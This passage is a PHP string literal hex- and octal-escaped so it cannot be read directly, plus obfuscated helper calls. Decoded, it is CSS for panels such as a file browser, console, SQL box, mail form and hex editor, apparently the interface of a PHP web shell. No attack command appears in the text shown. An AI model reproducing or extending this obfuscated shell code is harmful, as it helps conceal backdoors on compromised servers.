"\x3b\40\143\165\x72\163\157\x72\x3a\40\160\157\151\156\x74\145\162\x3b\x20\175\12\x2e\x73\x69\x7a\x65\61\x2c\40\56\x73\x69\172\x65\62\x2c\x20\x2e\x73\x69\172\145\63\x2c\40\56\x73\151\x7a\x65\64\x2c\x20\x2e\163\151\172\x65\x35\54\40\x2e\163\x69\x7a\x65\x36\x2c\x20\x2e\163\151\172\x65\x37\x2c\40\x2e\163\151\x7a\145\x38\54\x20\x2e\x73\x69\x7a\145\71\x2c\x20\56\x73\151\172\x65\x31\x30\40\x7b\x20\40\x62\141\x63\153\147\x72\157\165\x6e\144\x2d\143\x6f\154\x6f\162\72\40\43\x46\x46\106\x46\x46\106\x3b\40\x62\157\162\144\x65\x72\x3a\x20\x31\x70\x78\x20\x73\157\154\151\x64\x20\x23\103\x43\x43\103\103\103\73\40\x63\157\154\x6f\162\x3a\x20\x23\x33\x33\x33\x33\x33\x33\73\x20\x6d\x61\x72\147\151\156\x3a\40\x31\160\170\x3b\x20\155\141\162\147\x69\156\55\x72\x69\147\x68\x74\x3a\x20\60\x3b\40\x66\157\x6e\x74\55\x73\151\x7a\145\72\x20\x31\60\x70\170\73\40\x74\x65\170\x74\x2d\163\150\141\144\x6f\x77\72\40\x31\x70\x78\x20\x31\x70\170\x20\65\160\x78\40\43\144\144\144\144\144\x64\73\x20\166\x65\162\164\x69\x63\141\154\x2d\141\154\x69\x67\156\x3a\40\155\151\x64\144\154\x65\x3b\40\175\12\x2e\163\151\172\145\x31\54\x20\x2e\x73\x69\172\145\62\x2c\x20\x2e\x73\x69\x7a\x65\63\54\40\56\x73\151\x7a\x65\65\54\x20\56\163\151\x7a\145\66\54\x20\56\x73\x69\172\145\x37\x2c\40\56\163\x69\172\145\70\x2c\40\x2e\x73\x69\x7a\x65\x39\x2c\40\x2e\163\x69\x7a\x65\61\60\x20\x20\x7b\x20\150\x65\151\147\x68\164\x3a\x20\62\60\x70\170\73\x7d\12\x2e\x73\x69\172\145\x31\x20\x7b\40\167\151\144\164\x68\x3a\40\x33\60\x30\x70\x78\73\x20\x7d\12\x2e\x73\151\172\145\x32\40\x7b\40\167\151\144\164\x68\72\40\66\x35\x70\x78\73\x20\175\xa\56\163\x69\172\145\x33\x20\173\x20\x77\x69\x64\x74\150\72\40\x32\x30\x30\160\170\x3b\40\x7d\12\x2e\163\x69\x7a\145\x34\x20\x7b\x20\167\x69\x64\x74\150\72\x20\66\x35\160\170\x3b\40\150\145\151\x67\x68\x74\x3a\40\x31\70\x70\170\73\x20\x7d\12\x2e\x73\x69\172\x65\65\x20\x7b\40\167\151\144\x74\150\72\40\x31\x30\x30\160\x78\73\x20\x7d\xa\x2e\x73\x69\172\x65\66\x20\173\40\167\x69\x64\x74\150\x3a\x20\x31\65\x30\160\x78\x3b\40\x7d\12\x2e\x73\151\x7a\145\x37\40\173\40\167\x69\144\164\x68\72\40\x34\60\x70\170\73\x20\175\12\56\x73\x69\x7a\145\x38\x20\173\40\167\151\144\164\x68\x3a\x20\x39\71\45\73\x20\155\x69\x6e\55\x77\x69\x64\x74\x68\x3a\40\x33\67\60\160\170\73\40\175\xa\x2e\163\151\172\145\71\x20\173\x20\167\151\144\164\x68\x3a\x20\62\60\65\x70\170\x3b\40\x7d\12\x2e\x73\151\x7a\145\61\60\40\173\40\x77\151\144\164\x68\72\x20\65\65\60\x70\x78\73\x20\x7d\xa\x2e\x6c\151\163\x74\x31\40\x7b\x20\x62\141\143\153\147\x72\x6f\165\x6e\144\72\40\x23\x46\62\146\62\x66\62\x3b\x20\x7d\xa\56\x6c\x69\163\164\62\40\x7b\40\x62\x61\x63\x6b\x67\x72\157\165\156\144\x3a\40\43\106\x35\x46\x35\106\x35\73\x20\x7d\12\x2e\x6c\x69\163\164\x33\40\173\40\142\141\x63\x6b\x67\162\157\165\156\x64\x3a\x20\x23\105\60\105\60\x45\x30\x3b\40\x7d\12\56\154\151\x73\164\x31\x3a\150\x6f\x76\145\x72\x2c\x20\x2e\x6c\x69\163\164\x32\x3a\150\157\166\145\162\x20\x7b\40\142\x61\x63\153\147\162\157\x75\x6e\x64\55\143\x6f\x6c\x6f\162\x3a\x20\x23\x45\60\105\x30\105\60\73\40\175\12\56\x6c\x69\163\164\63\x3a\x68\157\166\x65\x72\40\x7b\x20\x62\141\x63\153\x67\x72\x6f\165\156\x64\x3a\40\x23\103\103\x43\103\x43\x43\73\40\x7d\12\56\x74\x64\154\163\150\x31\54\40\56\164\144\154\x73\150\x32\x2c\x20\56\164\x64\x70\150\x20\173\x20\142\x61\x63\x6b\147\162\157\x75\156\x64\55\x63\x6f\154\157\162\72\x20\164\x72\x61\156\x73\160\141\x72\x65\x6e\164\x3b\40\x62\x6f\x72\x64\145\162\x2d\x74\x6f\x70\72\40\x31\160\x78\40\163\x6f\x6c\151\144\40\x23\x44\x44\x44\x44\x44\x44\x3b\40\x62\157\x72\144\x65\x72\x2d\162\151\x67\x68\x74\x3a\40\x31\x70\170\x20\x73\x6f\x6c\151\x64\x20\x23\x46\106\106\106\106\106\73\x20\x62\x6f\x72\144\x65\x72\55\x62\x6f\164\x74\157\x6d\72\x20\61\160\170\40\163\157\154\151\x64\x20\43\103\103\103\103\103\103\73\x20\x62\157\x72\x64\145\x72\55\x6c\145\x66\x74\72\40\61\x70\x78\40\x73\x6f\154\151\x64\x20\43\103\103\x43\x43\x43\x43\x3b\40\x63\x6f\x6c\157\162\x3a\x20\x23\x33\63\63\63\x33\x33\73\40\x74\x65\170\164\x2d\163\x68\x61\x64\x6f\x77\x3a\x20\x31\160\x78\40\x31\160\170\x20\63\x70\x78\x20\43\146\146\146\146\146\146\x3b\40\x68\x65\x69\x67\150\164\x3a\x20\62\60\160\170\x3b\40\x7d\xa\x2e\164\x64\x6c\x73\x68\61\54\x20\56\x74\144\x6c\x73\x68\62\40\173\40\160\x61\x64\x64\151\x6e\147\55\154\145\146\x74\x3a\40\x32\x70\x78\x3b\40\160\x61\144\144\x69\156\x67\x2d\x72\151\x67\x68\164\72\x20\x35\x70\x78\73\x20\155\x69\x6e\x2d\x77\x69\144\164\150\72\x20\66\x30\x70\170\x3b\x20\150\145\x69\x67\150\x74\x3a\x20\62\x30\160\x78\73\x20\x7d\xa\56\x74\x64\x6c\163\150\61\x20\x7b\x20\x62\x6f\x72\144\x65\162\55\x6c\x65\x66\x74\x3a\40\x30\73\x20\155\x69\x6e\55\x77\x69\144\164\150\x3a\40\63\x35\x30\160\x78\x3b\40\x7d\12\56\x74\144\x70\x68\40\173\x20\x70\x61\x64\144\x69\x6e\147\55\154\x65\x66\164\72\40\62\160\170\73\x20\x7d\xa\x2e\164\x64\160\x6c\40\173\40\142\x61\143\153\147\162\x6f\165\x6e\x64\x2d\x63\157\x6c\157\162\72\x20\164\x72\x61\156\163\x70\x61\x72\x65\x6e\x74\x3b\40\142\x6f\162\x64\145\162\55\x6c\x65\146\164\x3a\x20\61\160\170\40\163\x6f\154\x69\x64\x20\x23\144\144\x64\x64\144\x64\73\40\x62\x6f\162\x64\145\162\x2d\x72\x69\x67\x68\x74\72\40\x31\x70\x78\x20\163\x6f\154\x69\144\40\x23\x66\x66\146\x66\x66\146\x3b\40\x70\141\144\144\151\156\147\x3a\40\x32\160\x78\x3b\x20\155\151\x6e\x2d\167\151\144\x74\x68\x3a\40\x34\60\x70\170\73\40\x6d\x69\156\x2d\150\145\x69\x67\x68\x74\72\x20\x32\60\x70\x78\73\x20\x77\157\x72\144\55\142\162\145\141\x6b\x3a\40\x62\x72\x65\141\153\55\141\154\154\x3b\x20\175\xa\x2e\x68\145\141\144\40\173\x20\x62\141\143\x6b\147\x72\x6f\x75\156\x64\55\143\157\x6c\x6f\x72\72\40\x74\162\x61\156\163\x70\141\x72\x65\156\x74\x3b\40\142\157\x72\x64\x65\162\72\x30\73\40\x6d\x69\x6e\55\x77\x69\x64\164\x68\72\x20\61\x30\x30\x25\73\x20\143\x6f\x6c\157\x72\72\x20\43\63\63\63\63\63\x33\x3b\x20\x74\x65\x78\164\x2d\x73\150\141\x64\x6f\x77\x3a\40\61\160\x78\x20\61\160\170\x20\63\x70\170\x20\x23\146\146\146\146\x66\146\73\40\155\x61\x72\147\x69\x6e\x3a\x20\60\x3b\40\x70\141\x64\144\x69\156\147\72\60\x3b\x20\x66\x6f\x6e\x74\x2d\163\151\172\x65\x3a\40\61\60\x70\170\73\40\x66\157\x6e\x74\55\x77\145\151\x67\x68\164\x3a\x20\156\157\162\155\141\154\x3b\40\x74\x65\x78\x74\55\x61\154\151\147\156\x3a\x20\x6c\145\x66\x74\73\x20\175\xa\x2e\150\145\x61\144\72\x68\157\x76\x65\162\x20\173\40\143\x75\x72\x73\157\162\x3a\x20\x70\x6f\151\156\164\145\x72\x3b\x20\x7d\12\x2e\164\144\x6c\x73\150\x31\54\x20\x2e\164\x64\x6c\163\150\62\x2c\x20\x2e\164\x64\160\x68\x20\x7b\x20" . z2o("\43\106\65\106\65\x46\65", "\43\105\60\105\x30\x45\x30") . "\x20\x68\x65\151\x67\x68\x74\x3a\40\x32\62\160\x78\40\41\151\x6d\x70\157\162\x74\141\156\164\73\40\x7d\12\x2e\164\x64\154\163\150\x31\72\x68\x6f\166\x65\x72\54\x20\x2e\x74\144\x6c\x73\150\62\x3a\x68\x6f\x76\145\x72\54\40\x2e\164\144\x70\x68\72\150\x6f\x76\x65\162\40\173\x20" . z2o("\43\146\145\146\x65\x66\x65", "\43\144\x64\x64\144\144\x64") . "\40\x7d\xa\56\x74\x64\x6c\163\146\x20\173\x20\160\141\x64\x64\x69\156\147\x2d\x6c\x65\146\164\x3a\x20\x32\x70\x78\73\40\x6d\x69\156\55\167\x69\144\x74\x68\72\40\x33\x30\60\160\170\x3b\x20\x68\x65\151\x67\x68\164\x3a\40\x32\60\x70\x78\x3b\x20\x76\145\162\164\151\x63\141\x6c\55\x61\x6c\x69\x67\x6e\x3a\40\x6d\x69\144\144\x6c\145\73\x20\175\xa\x2e\x74\x64\154\x73\x66\x6e\x2c\40\x2e\x74\144\x6c\x73\146\x31\x20\173\40\160\141\x64\x64\151\x6e\147\x2d\x6c\x65\146\164\72\40\x32\160\170\x3b\40\x70\x61\144\144\151\x6e\x67\55\x72\x69\147\x68\164\72\40\x35\160\170\73\40\x6d\151\156\55\x77\x69\144\x74\x68\x3a\40\x36\60\160\170\x3b\x20\150\x65\151\x67\150\x74\x3a\x20\62\60\160\x78\x3b\40\x76\145\162\x74\x69\143\141\154\55\141\154\x69\x67\156\72\40\155\151\144\x64\154\145\73\x20\175\12\56\164\144\154\x73\x66\x31\40\173\x20\x62\157\x72\144\x65\x72\x2d\154\x65\x66\164\x3a\x20\61\x70\170\40\163\x6f\x6c\x69\144\x20\43\106\x46\106\x46\x46\106\x3b\40\155\x69\x6e\x2d\167\x69\x64\x74\x68\72\40\62\60\x30\160\x78\x3b\x20\x7d\xa\56\164\144\x68\145\141\144\x20\x7b\40" . z2o("\43\x45\x30\105\x30\x45\60", "\x23\x65\146\x65\x66\x65\146", 1) . "\40\142\157\x72\144\x65\162\55\164\x6f\x70\x3a\x20\x31\160\170\40\163\x6f\x6c\x69\144\40\43\146\63\x66\x33\x66\x33\73\40\142\x6f\162\144\x65\x72\55\142\x6f\x74\x74\157\155\x3a\x20\x31\x70\170\40\163\x6f\x6c\x69\144\40\x23\x65\60\145\60\145\x30\73\x20\142\x6f\162\x64\145\162\55\162\x69\147\x68\x74\72\x30\73\x20\x63\157\x6c\x6f\162\x3a\x20\43\x30\x33\60\63\x30\63\x3b\x20\160\x61\144\x64\151\x6e\x67\x2d\x6c\x65\146\164\x3a\40\x33\x70\x78\x3b\x20\150\145\151\x67\x68\164\x3a\40\62\60\x70\170\73\x20\x66\x6f\x6e\x74\x2d\x73\151\x7a\x65\x3a\x20\71\x70\170\x3b\x20\146\157\x6e\164\55\167\x65\151\x67\150\164\72\x20\142\157\x6c\x64\x3b\40\x7d\12\56\x74\144\150\145\141\144\40\x74\144\54\x20\56\164\x64\154\142\154\40\173\40\x63\x6f\x6c\157\162\x3a\x20\x23\63\63\63\63\x33\63\73\40\160\x61\144\x64\x69\x6e\x67\x3a\40\x33\x70\170\73\40\146\x6f\156\x74\x2d\x77\x65\151\147\x68\x74\x3a\x20\x62\157\x6c\x64\x3b\40\164\x65\x78\x74\x2d\163\150\141\144\157\x77\x3a\40\x31\x70\170\x20\61\160\170\x20\63\x70\x78\40\43\146\x66\x66\146\x66\146\x3b\40\175\xa\56\164\144\154\142\154\x20\173\x20\x77\x69\144\x74\x68\72\x20\61\x35\60\x70\170\x3b\x20\175\xa\x2e\x74\144\155\141\x69\154\40\x7b\40\x70\x61\x64\144\x69\x6e\147\72\x20\x30\40\61\60\160\x78\x20\x30\40\x31\x30\160\x78\73\175\12\x69\x6d\x67\40\173\40\x76\145\x72\164\151\143\x61\154\55\141\x6c\151\147\156\x3a\x20\155\x69\x64\144\154\x65\x3b\x20\x7d\xa\56\146\151\155\x67\40\x7b\x20\142\157\162\144\x65\x72\72\x20\x30\73\x20\160\141\x64\144\151\x6e\147\x3a\x30\x3b\40\160\141\x64\x64\151\156\x67\55\162\x69\147\150\x74\72\61\x70\x78\73\40\x76\145\x72\x74\x69\x63\x61\154\x2d\141\154\151\147\x6e\x3a\40\155\x69\144\x64\154\145\73\x20\x7d\12\x2e\x74\x66\x69\x6c\x74\145\162\40\173\x20\x77\151\144\164\150\72\x20\x31\x30\x30\x25\73\x20\x7d\12\x2e\164\144\146\x69\x6c\x74\x65\x72\40\x7b\x20" . z2o("\43\x65\x66\x65\x66\145\146", "\x23\x45\x30\105\60\x45\x30") . "\x20\142\x6f\x72\x64\x65\162\55\x74\157\x70\x3a\40\x31\160\170\40\163\x6f\x6c\151\x64\x20\x23\x66\145\x66\145\x66\x65\73\x20\143\x6f\154\x6f\x72\72\40\x23\x33\x33\x33\63\x33\x33\x3b\x20\160\141\144\144\151\x6e\147\72\x20\x32\160\x78\x3b\x20\x66\x6f\x6e\164\55\167\x65\x69\x67\x68\164\x3a\40\x62\157\154\x64\73\x20\x7d\xa\x2e\x6e\x72\x2c\x20\56\156\x77\x2c\x20\56\162\167\40\173\40\142\141\x63\x6b\147\x72\157\x75\x6e\144\55\x63\157\x6c\x6f\x72\72\40\164\x72\141\x6e\x73\160\141\162\x65\156\x74\73\x20\x66\157\156\164\55\167\145\151\147\150\164\x3a\x6e\x6f\x72\155\x61\154\73\40\164\x65\x78\x74\55\164\145\143\x6f\162\141\x74\x69\157\x6e\72\40\156\157\156\145\x3b\40\175\xa\56\x6e\x72\x20\173\x20\x63\157\154\x6f\x72\72\40" . z9w("\145\162\x72\143\x6f\x6c\157\x72") . "\73\x20\x7d\xa\56\156\x77\x20\x7b\x20\143\x6f\154\157\162\72\40" . z9w("\156\x6f\x72\155\x61\154\143\157\154\x6f\162") . "\x3b\x20\x7d\xa\x2e\162\167\40\173\40\143\x6f\154\157\162\72\x20" . z9w("\x6f\153\143\157\x6c\x6f\x72") . "\73\40\175\12\x2e\x64\151\x72\x6c\151\163\x74\x2c\40\56\x66\151\154\145\154\x69\163\x74\40\x7b\40\142\141\x63\153\x67\x72\157\x75\x6e\x64\x2d\143\x6f\x6c\x6f\162\x3a\40\x74\x72\x61\156\163\x70\141\x72\x65\156\x74\73\x20\x62\157\162\x64\145\x72\x3a\40\60\73\x20\x20\160\141\x64\x64\151\x6e\x67\72\x20\x30\x3b\x20\x6d\151\156\55\x77\151\144\164\150\72\40\x38\60\45\73\40\x66\157\x6e\164\55\x73\x69\x7a\145\72\40\61\61\x70\x78\73\40\164\145\x78\164\x2d\144\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\40\x6e\x6f\x6e\x65\73\x20\x74\145\170\x74\x2d\x61\154\x69\x67\x6e\x3a\x20\154\x65\146\164\x3b\40\x76\x65\162\x74\x69\143\x61\x6c\55\141\154\151\147\156\x3a\40\x6d\x69\144\x64\154\x65\x20\41\x69\x6d\x70\x6f\162\x74\x61\x6e\164\x3b\x20\x7d\xa\56\x64\x69\x72\x6c\x69\x73\164\40\173\x20\143\157\154\x6f\162\x3a\40" . z9w("\x64\x69\162\143\x6f\x6c\157\162") . "\x3b\40\175\12\56\146\x69\154\x65\154\x69\163\164\x20\173\40\143\x6f\x6c\x6f\x72\72\40" . z9w("\156\157\x72\155\x61\154\143\x6f\154\157\162") . "\x3b\40\175\12\56\x64\x69\x72\x6c\151\163\164\x3a\150\157\x76\x65\162\x2c\x20\x2e\146\151\x6c\x65\x6c\x69\x73\x74\x3a\x68\157\x76\x65\x72\40\x7b\x20\143\x75\162\x73\x6f\x72\x3a\40\160\157\x69\156\164\145\x72\x3b\40\x7d\xa\x70\x72\x65\40\x7b\40\142\x61\143\153\x67\x72\157\x75\156\x64\x2d\x63\157\154\x6f\162\72\x20\43\x46\101\x46\x41\x46\101\x3b\40\143\x6f\154\157\x72\72\x23\x33\x33\x33\x33\63\x33\73\x20\142\x6f\x72\x64\145\162\72\40\61\160\x78\40\x73\x6f\x6c\x69\x64\40\x23\103\103\x43\x43\x43\x43\x3b\40\155\x61\x72\x67\151\156\x2d\x74\157\x70\72\60\73\40\160\141\x64\144\151\x6e\147\72\40\x35\160\170\x3b\x20\x6d\x61\x78\x2d\167\151\x64\164\x68\x3a\40\61\60\x30\x30\160\170\73\40\155\x61\x78\55\x68\145\151\147\150\164\72\40\63\65\60\x70\x78\x3b\40\164\x65\170\164\55\141\x6c\x69\x67\x6e\x3a\x20\154\x65\146\164\x3b\x20\x6f\166\x65\x72\146\x6c\157\x77\55\x78\x3a\40\141\165\x74\157\73\x20\x77\x68\151\164\x65\x2d\x73\160\141\143\145\72\x20\160\162\145\x2d\x77\162\141\160\x3b\x20\167\150\151\x74\145\55\163\160\141\x63\x65\72\x20\x2d\x6d\x6f\x7a\55\x70\x72\145\x2d\x77\162\141\160\40\41\151\x6d\160\x6f\x72\164\141\156\164\73\x20\40\x77\150\151\x74\x65\55\163\x70\x61\x63\145\72\x20\x2d\x70\x72\145\55\x77\162\x61\x70\73\40\x77\x68\151\x74\x65\55\163\x70\141\143\x65\72\x20\55\157\x2d\160\162\145\55\x77\x72\x61\160\73\40\x77\157\162\144\55\x77\x72\141\160\x3a\40\142\x72\x65\x61\153\55\167\157\x72\x64\x3b\x20\x7d\xa\160\162\145\x20\x63\x6f\144\x65\x20\173\x20\x64\x69\x73\x70\154\141\171\x3a\x20\142\x6c\x6f\x63\x6b\x3b\x20\x7d\12\56\x66\164\x61\143\164\x69\166\145\x2c\x20\56\146\164\x63\157\x6d\160\141\164\54\40\56\x66\164\x6f\164\150\x65\x72\40\173\x20" . z2o("\x23\146\63\x66\63\146\63", "\43\143\x63\143\143\143\143") . "\x20\142\x6f\162\144\145\x72\72\40\61\160\170\x20\163\x6f\x6c\151\x64\x20\x23\x42\x42\x42\x42\x42\x42\x3b\x20\155\141\162\x67\151\x6e\x3a\x32\160\170\x20\61\x70\170\40\62\x70\170\40\60\73\x20\160\141\x64\144\151\156\147\x3a\40\62\160\x78\40\x38\160\170\x20\62\160\170\x20\x38\160\170\73\40\150\145\151\x67\150\164\72\62\x30\160\x78\x3b\40\x66\157\x6e\164\55\x73\x69\172\x65\x3a\40\x31\x30\160\170\x20\41\151\x6d\x70\x6f\162\164\141\156\164\x3b\40\x7d\xa\56\x66\164\x61\143\x74\151\166\145\x3a\x68\x6f\x76\145\x72\x2c\x20\x2e\146\x74\143\157\155\x70\141\164\72\150\x6f\166\145\162\54\x20\x2e\146\164\x6f\x74\150\145\x72\72\150\157\x76\145\162\40\x7b\40" . z2o("\43\103\103\x43\103\x43\x43", "\43\x46\63\x46\x33\x46\63") . "\40\x63\165\x72\163\x6f\x72\72\x20\160\x6f\151\156\x74\145\x72\x3b\40\x7d\12\56\x66\164\141\143\x74\151\166\145\x20\x7b\x20" . z2o("\x23\103\103\103\103\x43\103", "\43\x46\63\x46\x33\x46\x33") . "\x20\x63\157\154\157\162\72\x20\43\x30\60\x30\60\60\60\x3b\40\x7d\12\x2e\x66\164\x63\157\x6d\160\x61\164\40\173\x20\143\157\x6c\x6f\x72\x3a\40" . z9w("\157\153\x63\x6f\x6c\157\162") . "\x3b\x20\175\xa\56\146\164\x6f\164\x68\145\x72\x20\x7b\x20\x63\x6f\154\157\x72\x3a\40" . z9w("\156\x6f\162\155\x61\154\143\157\x6c\157\x72") . "\73\x20\175\xa\56\155\x62\165\x74\61\x2c\40\x2e\x6d\x62\165\x74\62\40\x7b\x20\x62\x6f\162\144\145\162\72\40\61\x70\x78\x20\163\157\154\x69\144\40\43\102\x42\x42\x42\x42\102\73\40\x6d\141\x72\x67\x69\x6e\72\x20\x32\160\x78\40\61\160\x78\40\62\x70\x78\40\60\x3b\x20\160\141\x64\x64\151\156\x67\72\40\x31\x70\170\x20\x35\x70\170\40\x31\160\x78\40\x35\x70\170\x3b\40\x68\x65\151\x67\x68\x74\72\x20\x32\x30\x70\170\x3b\x20\146\x6f\x6e\x74\x2d\x73\x69\x7a\145\x3a\x20\x31\60\x70\170\73\40\175\12\56\155\142\x75\x74\61\40\173\40" . z2o("\x23\106\63\106\x33\x46\x33", "\43\103\x43\x43\103\103\103") . "\x20\175\12\56\155\x62\x75\x74\62\x20\x7b\x20" . z2o("\43\103\x43\103\x43\103\103", "\43\106\63\x46\63\106\x33") . "\x20\x7d\xa\x2e\x6d\142\165\x74\61\x3a\x68\x6f\x76\145\x72\54\x20\56\x6d\142\x75\164\62\x3a\x68\157\x76\145\x72\40\173\x20" . z2o("\43\143\143\143\x63\143\143", "\x23\146\x33\x66\x33\x66\x33") . "\40\143\x75\162\163\157\x72\72\40\x70\x6f\151\156\164\145\162\73\x20\x7d\12\56\x69\146\x72\x61\x6d\x65\40\173\x20\142\x61\143\153\147\162\157\x75\x6e\x64\x2d\x63\157\154\x6f\x72\x3a\x20\43\x46\x46\x46\x46\106\x46\73\40\142\157\x72\144\x65\162\x3a\x20\x31\160\170\x20\x73\x6f\154\x69\x64\40\x23\103\x43\103\x43\x43\x43\73\40\167\151\x64\164\150\x3a\40\x39\71\45\x3b\x20\x20\x68\145\x69\x67\150\164\72\40\x33\x30\60\x70\x78\73\40\x76\x65\x72\x74\151\x63\141\154\55\141\x6c\151\147\156\72\40\x6d\x69\x64\144\154\x65\73\x20\x7d\xa\x2e\x63\157\156\163\157\x6c\x65\40\173\x20\142\x61\x63\x6b\147\162\x6f\165\x6e\x64\55\x63\x6f\x6c\x6f\x72\72\x20\x74\162\141\x6e\x73\x70\141\162\x65\x6e\164\73\40\x63\x6f\x6c\x6f\x72\72\40\x23\x33\x33\63\x33\x33\63\x3b\x20\142\x6f\162\x64\145\162\72\x20\x30\73\40\167\151\144\x74\x68\x3a\40\61\x30\60\45\73\x20\150\145\x69\x67\x68\x74\72\40\x33\60\60\x70\x78\73\x20\175\xa\x2e\x74\147\145\x6e\145\162\151\x63\x2c\x20\x2e\164\x65\144\151\164\54\x20\x2e\164\x78\155\x61\151\x6c\40\173\40\x62\x6f\x72\144\x65\x72\x3a\40\x31\x70\x78\x20\x73\x6f\154\151\144\40\x23\x63\x63\143\143\143\x63\x3b\x20\155\x61\x72\147\151\x6e\55\x74\157\160\x3a\40\60\x3b\x20\x6d\x61\x72\147\151\x6e\x2d\x62\157\x74\x74\x6f\x6d\x3a\x20\x31\x70\x78\73\x20\167\151\144\x74\150\x3a\40\x39\71\45\73\x20\175\12\56\x74\147\x65\x6e\x65\x72\151\143\40\173\40\150\145\151\x67\x68\164\72\40\x31\x35\60\x70\x78\73\x20\x7d\xa\56\164\145\144\151\164\40\173\x20\150\145\151\147\150\164\72\x20\63\60\x30\160\x78\x3b\x20\x74\x65\170\x74\x2d\x61\x6c\x69\x67\156\x3a\40\x6c\145\x66\164\x3b\x20\175\12\56\x74\x78\155\x61\151\154\x20\x7b\40\x6d\141\162\x67\x69\156\x2d\164\157\x70\x3a\40\61\x70\x78\73\40\167\151\x64\x74\x68\72\x20\61\60\x30\x25\x3b\x20\150\x65\x69\147\150\x74\72\x20\x31\60\x30\160\170\73\x20\x7d\xa\56\x74\x73\161\154\61\54\x20\x2e\x74\163\161\x6c\x32\x20\x7b\40\142\x6f\x72\x64\145\162\72\40\61\x70\170\x20\x73\x6f\154\x69\144\40\43\x43\x43\103\103\x43\103\x3b\40\155\141\x72\x67\151\156\55\154\x65\146\164\72\40\x31\x70\170\x3b\40\x77\x69\x64\164\150\72\x20\62\60\65\160\x78\73\x20\x68\x65\151\147\x68\x74\72\40\x36\60\160\x78\x3b\x20\175\xa\x2e\164\163\161\x6c\x32\40\x7b\x20\x77\x69\x64\164\150\x3a\x20\x39\71\45\40\x21\151\x6d\x70\x6f\x72\164\141\156\x74\73\40\175\xa\56\164\151\x6e\x6a\x20\x7b\40\x62\157\x72\144\145\162\x3a\x20\x31\x70\x78\40\x73\x6f\154\151\x64\x20\43\x43\x43\103\x43\103\103\73\x20\x6d\x61\x72\147\x69\156\x3a\x20\61\x70\170\x3b\x20\167\151\x64\x74\150\x3a\40\63\60\x30\160\x78\x3b\40\x68\x65\x69\x67\x68\x74\x3a\40\x34\x36\160\x78\73\x20\175\xa\x2e\164\141\x68\145\x78\40\x7b\x20\x77\151\144\x74\150\72\40\71\71\45\73\40\155\141\162\x67\x69\x6e\55\x62\x6f\x74\164\x6f\x6d\72\x31\x70\x78\73\x7d\xa\x2e\164\150\145\170\x31\x2c\40\x2e\x74\150\x65\170\62\x2c\40\56\164\x68\145\x78\x33\x20\x7b\40\x62\x6f\x72\144\145\x72\72\40\x31\x70\170\40\163\157\154\x69\144\40\x23\x43\x43\x43\103\103\x43\73\x20\160\x61\144\144\x69\x6e\147\x2d\x74\157\160\72\x31\160\170\73\x20\160\141\144\x64\151\x6e\x67\55\x6c\145\x66\164\72\63\160\x78\73\x20\x66\157\156\x74\72\x20\x31\63\160\x78\x20\42\x6d\x6f\x6e\x6f\x73\160\141\143\x65\42\54\x20\x6d\157\x6e\157\x73\x70\141\x63\x65\x3b\40\x6c\151\156\x65\x2d\150\145\x69\147\x68\164\72\40\x32\x30\160\x78\x3b\x20\164\145\x78\x74\55\x61\x6c\x69\x67\x6e\x3a\x20\x6c\x65\x66\164\73\x20\175\xa\x2e\164\150\145\170\x31\x20\x7b\x20\x63\x6f\x6c\x6f\x72\72\x20\43\x30\x30\60\x30\x30\60\73\40\x7d\12\x2e\x74\150\145\x78\x32\40\x7b\x20\142\141\x63\x6b\147\162\157\165\156\144\x2d\143\157\x6c\x6f\162\72\x20\x23\x46\x46\x46\x46\106\106\x3b\x20\x62\157\x72\144\145\162\55\154\x65\146\164\72\x20\x30\x3b\x20\142\157\162\144\145\162\x2d\x72\151\x67\x68\x74\x3a\40\x30\x3b\40\x7d\12\x2e\164\150\x65\x78\x33\40\x7b\x20\143\157\154\x6f\162\x3a\40\x23\60\x30\60\60\60\60\x3b\x7d\xa\56\x69\x64\151\155\x67\54\x20\x2e\x69\x66\151\x6d\147\40\x7b\x20" . z0i("\x33") . "\40\155\x61\162\147\x69\x6e\55\x72\151\x67\150\x74\72\62\160\x78\73\40\167\x69\144\x74\150\x3a\x20\x31\x36\x70\x78\73\x20\x68\145\151\147\x68\164\72\40\x31\x36\160\170\x3b\40\x76\145\x72\x74\x69\x63\x61\x6c\x2d\x61\x6c\x69\x67\x6e\x3a\40\155\151\x64\x64\154\145\x3b\x20\x7d\12\x2e\151\144\x69\155\x67\40\x7b\40" . z2o(z9w("\151\144\151\162\x62\147\61"), z9w("\x69\144\x69\162\142\147\62"), 1) . "\x20\x62\157\162\x64\145\x72\x3a\x20\x31\x70\170\x20\x73\x6f\154\151\x64\x20" . z9w("\x69\144\x69\162\142\157\162\x64\145\162") . "\73\40\40\x7d\12\x2e\151\x66\x69\x6d\x67\x20\x7b\40" . z2o(z9w("\151\146\151\x6c\x65\142\147\61"), z9w("\x69\x66\151\154\x65\x62\x67\62")) . "\x20\142\x6f\162\x64\145\x72\72\x20\x31\160\x78\x20\x73\157\154\x69\144\40" . z9w("\x69\146\x69\154\x65\142\157\x72\x64\145\x72") . "\73\x20\175\12\56\x69\144\x69\155\147\x3a\150\x6f\x76\x65\162\x2c\40\56\x69\146\151\155\x67\72\x68\x6f\166\x65\162\x20\173\40\143\x75\162\x73\157\162\x3a\40\x70\157\151\x6e\164\x65\162\x3b\40\175\12\56\163\145\154\x65\x63\164\157\x72\x2c\x20\56\144\x69\x76\x6c\x73\x20\173\40\155\x61\x78\55\150\x65\x69\147\150\164\72\63\65\x30\160\x78\73\x20\x68\x65\151\147\x68\164\72\63\65\60\x70\x78\40\x21\x69\x6d\x70\157\162\164\141\156\x74\x3b\x20\x6f\166\x65\x72\146\154\157\167\x3a\x20\141\165\164\x6f\x3b\x20\175\xa\56\x73\x65\x6c\145\143\x74\157\162\40\173\x20\x62\x6f\x72\144\145\x72\x2d\x74\x6f\160\x3a\40\61\160\170\40\163\x6f\x6c\151\144\40\x23\106\106\106\x46\x46\x46\x3b\x20\x7d\12\x2e\163\x63\162\x6f\154\x6c\40\173\x20\x62\141\x63\x6b\147\x72\x6f\x75\x6e\144\x2d\143\157\154\157\x72\x3a\x20\164\x72\141\156\x73\x70\141\x72\145\x6e\x74\73\x20\142\x6f\x72\x64\x65\162\72\60\73\x20\x6d\141\162\x67\151\156\72\x30\73\40\160\x61\144\x64\x69\x6e\147\x3a\x30\73\x20\x6d\141\x78\55\x77\151\x64\164\x68\x3a\40\61\x30\x32\64\x70\x78\x3b\x20\155\x61\x78\x2d\x68\145\x69\147\150\164\72\x33\x35\60\x70\170\x3b\40\157\166\x65\x72\146\x6c\157\167\x2d\171\x3a\40\141\165\164\157\73\x20\x6f\x76\145\162\x66\x6c\157\167\55\x